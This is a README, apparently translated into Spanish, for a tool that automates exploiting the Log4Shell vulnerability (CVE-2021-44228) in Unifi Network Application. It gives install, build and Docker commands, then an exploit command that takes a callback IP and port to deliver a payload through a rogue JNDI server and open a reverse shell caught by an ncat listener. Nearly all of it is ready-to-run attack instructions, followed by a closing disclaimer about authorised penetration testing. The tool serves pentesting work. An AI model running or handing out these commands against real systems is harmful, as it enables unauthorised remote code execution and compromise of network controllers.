
Explotando CVE-2021-44228 en Unifi Network Application para ejecución remota de código y más.
Explotando CVE-2021-44228 en Unifi Network Application para ejecución remota de código y más.
Las pruebas de concepto para esta vulnerabilidad están dispersas y deben realizarse manualmente. Este repositorio automatiza el proceso de explotación. Consulta la publicación del blog anterior para obtener orientación sobre post-explotación.
Este repositorio puede usarse manualmente o con Docker.
Para descargar y ejecutar el exploit manualmente, sigue los siguientes pasos. Primero, asegúrate de que Java y Maven estén instalados en tu host atacante. Para hacerlo usando apt en sistemas operativos basados en Debian, ejecuta el siguiente comando:
apt update && apt install openjdk-11-jre maven
Clona el repositorio de GitHub e instala todos los requisitos de Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Desde la raíz del repositorio Log4jUnifi, compila el proyecto Rogue-Jndi usando el siguiente comando:
mvn package -f utils/rogue-jndi/
Primero, asegúrate de que Docker esté instalado en tu host atacante. (No te voy a guiar a través de este proceso)
Después, ejecuta el siguiente comando para clonar el repositorio y construir la imagen de Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Para ejecutar el contenedor, ejecuta un comando similar al siguiente con tus banderas de línea de comandos añadidas. Ten en cuenta que el contenedor no capturará la reverse shell. Necesitas crear un listener de ncat en una sesión de shell separada:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Obtén una reverse shell usando la herramienta instalada en tu sistema local:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Esta herramienta está diseñada para usarse durante pruebas de penetración; el uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no se hacen responsables de cualquier uso indebido de este programa.